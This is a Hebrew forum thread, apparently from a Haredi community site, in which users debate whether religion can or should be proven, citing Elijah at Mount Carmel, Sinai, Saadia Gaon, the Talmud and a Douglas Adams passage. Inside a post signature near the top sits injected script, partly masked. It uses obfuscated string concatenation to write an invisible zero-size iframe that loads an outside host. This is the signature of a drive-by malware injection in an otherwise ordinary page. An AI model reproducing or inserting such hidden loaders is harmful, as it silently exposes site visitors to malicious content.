בית פורומים עצור כאן חושבים

מהו האיום הגדול ביותר לדת

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-29/2/2012 17:27 לינק ישיר 

מיימוני כתב:
מסורתי וכולם

האם הנושא של האשכול לא השתנה?

מסורתי העלה כעת טיעון מעניין. אני מעתיק את חלקו המרכזי.

אין שום הוכחות שבגלל אנו אמורים לאחוז בדת כלשהי!!

אין אין אין אין אין!!

וזה לא במקרה שאין הוכחה אלא בכוונה תחילה כך אלוהים עשה שלא יהיו הוכחות!!!
(לפחות לפי תפיסת חזל )

ואני שואל: היכן מצאנו בחז"ל את התפיסה שה' עשה שלא יהיו הוכחות?

ועוד: מדוע אם כן ערך אליהו ניסוי בהר הכרמל, בין ה' לבין הבעל?

ומדוע האמין רב סעדיה גאון שבידו להוכיח את היהדות מבחינה פילוסופית? האם יצא נגד חז"ל ונגד התורה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



שאלות מצויינות.

אני אמשיך אותן:
למה לעשות משהו בלתי מוכח?
למה לכפות על מישהו אחר משהו בלתי מוכח?
למה שהא-ל ייחייב לעשות משהו בלתי מוכח?
מה ההבדלים בין כל הדתות בהנחה שאף אחת לא מוכחת?



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 17:27 לינק ישיר 

אלי
וודאי שהם היו דתיים, למרות שהיו במעמד הר סיני הם עשו עגל, ש"מ שזו לא היתה הוכחה מוחצת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 17:30 לינק ישיר 

היי, בעל. השאלה היא אליבא דמסורתי שטוען כי דת מוכחת אינה דת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 22:48 לינק ישיר 

ושםהאחר כתב:
אתה צריך לחזור וללמוד גמרא  ולראו כי חכמנו פסלו ונלחמו מלחמת חורמה, עם בוז ולעג, גכל אלו שלא חשבו כמוהם.


תן מקור



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 22:49 לינק ישיר 

בעלבעמיו כתב:
מה אליהו אמר לעם בהר הכרמל, אם ה' הוא האלוקים וכו'


זה היה בשביל לעקור את עובדי הבעל, זה היה הענין שם



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 22:49 לינק ישיר 

ירוחםשמ כתב:
ואתה רואה כי אליהו הנביא בגלל מטרותיו החיוביות- ביטל ועבר על מצווה חמורה מהתורה, הוא הקריב לא במקדש.
סימן שיש לפעמים מצב שאפשר לעבור על מצוות


לפי חזל זה סימן למשהו אחר..



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 22:52 לינק ישיר 

מטפחתספרים כתב:
דת שיש לה הוכחות על הטענות העיקריות שלה - אז היא לא דת אלא הגיון/רציונליות


דגלס אדמס - ההוכחה האונטולוגית לאי קיום אלוהים.

  • "דג בבל, הוא דג קטן, צהוב ועלוקתי, וכפי הנראה הוא גם הדבר המוזר ביותר בגלקסיה. הוא ניזון מאנרגיית הגלים שהוא קולט, לא ממוחו של נושא, כי אם ממוחותיהם של מי שסובבים אותו. הוא סופג את כל התדירויות המנטליות, התת-הכרתיות מאנרגיית גלי מוח זו וניזון ממנה. אח"כ הוא מפריש למוחו של נושאו מטריצות טלפתיות הנבנות מהרכבת תדירויות המחשבה ההכרתיות על אותות עצביים הנקלטים ממרכז הדיבור של המוח ששידרם. התוצאה המעשית של כל זה היא שאם תתקע דג בבל באוזנך, תוכל מיד להבין כל מה שנאמר לך, בכל שפה, מכל משפחה דקדוקית שהיא.
כיוון שזהו צירוף מקרים בלתי מובן באופן מוזר כ"כ שמשהו שימושי באופן מבלבל את המוח כ"כ התפתח באופן מקרי לחלוטין כ"כ בחרו כמה הוגים לראות בכך הוכחה סופית ונחרצת לאי קיומו של אלוהים.
הטיעון נשמע כמו: 'אני מסרב להוכיח שאני קיים', אמר אלוהים, 'שכן הוכחה נוגדת אמונה, ובלי אמונה אין אני ולא כלום.'
'אבל', אמר האדם, 'דג הבבל תוקע אותך, לא? לא מתקבל על הדעת שהתפתח במקרה. זה מוכיח שאתה קיים, ולפיכך, עפ"י טיעוניך שלך, אינך קיים. מ.ש.ל.'
'אוה, אלוהים,' אומר אלוהים, 'על זה לא חשבתי.' ובו במקום מתפוגג בעננת הגיון.
'אה, זה היה קל,' אומר האדם, ובתור הדרן, ממשיך ומוכיח ששחור הוא לבן, ונהרג במעבר החציה הקרוב.
בינתיים גרם דג הבבל המסכן, באמצעות הסרתם המוצלחת של כל המחסומים לתקשורת בין גזעים ותרבויות שונים, למספר רב ועקוב מדם של מלחמות, יותר מאשר כל דבר אחר בהיסטוריה של הבריאה. מדריך הטרמפיסט לגלקסיה עמוד 42


כמו דגלס היו עוד המון אנשים שלא ידעו להבדיל בין אמונה לבין אמונה עיוורת...

לא נורא לא קרה כלום.. לא כולם זכו להכיר חזל כמו שצריך...



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 22:52 לינק ישיר 

eli_s כתב:
לא אמרתי שחייבת להיות הוכחה לדת, אלא שתיתכן דת עם הוכחה.

הוכחה לדבריי הבאתי מהדור של מעמד הר סיני.

כשנעבור את השלב הזה, נוכל להתחיל לדבר על מהויות ההוכחה, הצורך בה וכו'.

זה לא נקרא דת עם הוכחה כוון שההוכחה הזו מתאימה רק לאותו דור וממלא זה לא נקרא הוכחה

כוון שגם אני יכול לומר שהיה מעמד הר תבור למלייארד אנשים אבל זה קרה לפני 100000 שנה

מבין?

באותו הדור הם היו דתיים או לא?


ולכן?



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/2/2012 22:59 לינק ישיר 

מסורתי
תסלח לי מסורתי אתה מדבר על דברים שאינך יודע, חז"ל לא מדברים על סימן למשהו אחר, הם שואלים גם.
 אתה מבקש מקורות משם האחר- עיין בגמרא במנחות על ריב"ז בויכוח עם הצדוקי הזקן.



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/2/2012 23:34 לינק ישיר 

ירוחםשמ כתב:
מסורתי
תסלח לי מסורתי אתה מדבר על דברים שאינך יודע, חז"ל לא מדברים על סימן למשהו אחר, הם שואלים גם.
 אתה מבקש מקורות משם האחר- עיין בגמרא במנחות על ריב"ז בויכוח עם הצדוקי הזקן.


מה איני יודע?

באיזה עמוד במנחות?



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/3/2012 02:21 לינק ישיר 

msorti כתב:
לא אמרתי שחייבת להיות הוכחה לדת, אלא שתיתכן דת עם הוכחה.

הוכחה לדבריי הבאתי מהדור של מעמד הר סיני.

כשנעבור את השלב הזה, נוכל להתחיל לדבר על מהויות ההוכחה, הצורך בה וכו'.

זה לא נקרא דת עם הוכחה כוון שההוכחה הזו מתאימה רק לאותו דור וממלא זה לא נקרא הוכחה

כוון שגם אני יכול לומר שהיה מעמד הר תבור למלייארד אנשים אבל זה קרה לפני 100000 שנה

מבין?

באותו הדור הם היו דתיים או לא?

ולכן?

באותו דור הייתה דת מוכחת?



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/3/2012 04:16 לינק ישיר 

אם דת = תכלית אז התשובה היא כן אבל לא רק באותו דור אלא בכל דור ודור (כמעט..)





דדווח על תוכן פוגעני

מחובר
נשלח ב-1/3/2012 10:36 לינק ישיר 

מסורתי
אינך יודע שחז"ל לא הפכו את מעשה אליהו לסימן.
איני יודע אם לזה כיוון שםאחר

מנחות דף סה.

שהיו בייתוסין אומרים: עצרת אחר השבת, ניטפל להם רבן יוחנן בן זכאי ואמר להם: שוטים, מנין לכם? ולא היה אדם אחד שהיה משיבו, חוץ מזקן אחד שהיה מפטפט כנגדו ואמר: משה רבינו אוהב ישראל היה, ויודע שעצרת יום אחד הוא, עמד ותקנה אחר שבת כדי שיהו ישראל מתענגין שני ימים; קרא עליו מקרא זה: +דברים א'+ אחד עשר יום מחורב דרך הר שעיר,  ב  ואם משה רבינו אוהב ישראל היה, למה איחרן במדבר ארבעים שנה? אמר לו: רבי, בכך אתה פוטרני? אמר לו: שוטה, ולא תהא תורה שלמה שלנו כשיחה בטילה שלכם!





דדווח על תוכן פוגעני

מנותק
נשלח ב-1/3/2012 13:33 לינק ישיר 

msorti כתב:
אם דת = תכלית אז התשובה היא כן אבל לא רק באותו דור אלא בכל דור ודור (כמעט..)



אז הדת מוכחת או לא?



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/3/2012 13:55 לינק ישיר 

ירוחםשמ כתב:
מסורתי
אינך יודע שחז"ל לא הפכו את מעשה אליהו לסימן.
איני יודע אם לזה כיוון שםאחר

מנחות דף סה.

שהיו בייתוסין אומרים: עצרת אחר השבת, ניטפל להם רבן יוחנן בן זכאי ואמר להם: שוטים, מנין לכם? ולא היה אדם אחד שהיה משיבו, חוץ מזקן אחד שהיה מפטפט כנגדו ואמר: משה רבינו אוהב ישראל היה, ויודע שעצרת יום אחד הוא, עמד ותקנה אחר שבת כדי שיהו ישראל מתענגין שני ימים; קרא עליו מקרא זה: +דברים א'+ אחד עשר יום מחורב דרך הר שעיר,  ב  ואם משה רבינו אוהב ישראל היה, למה איחרן במדבר ארבעים שנה? אמר לו: רבי, בכך אתה פוטרני? אמר לו: שוטה, ולא תהא תורה שלמה שלנו כשיחה בטילה שלכם!




מסכים אבל מה זה סותר את דברי, הבנת מה רציתי לומר לעיל??



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מהו האיום הגדול ביותר לדת
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 ... 7 8 9 לדף הבא סך הכל 9 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.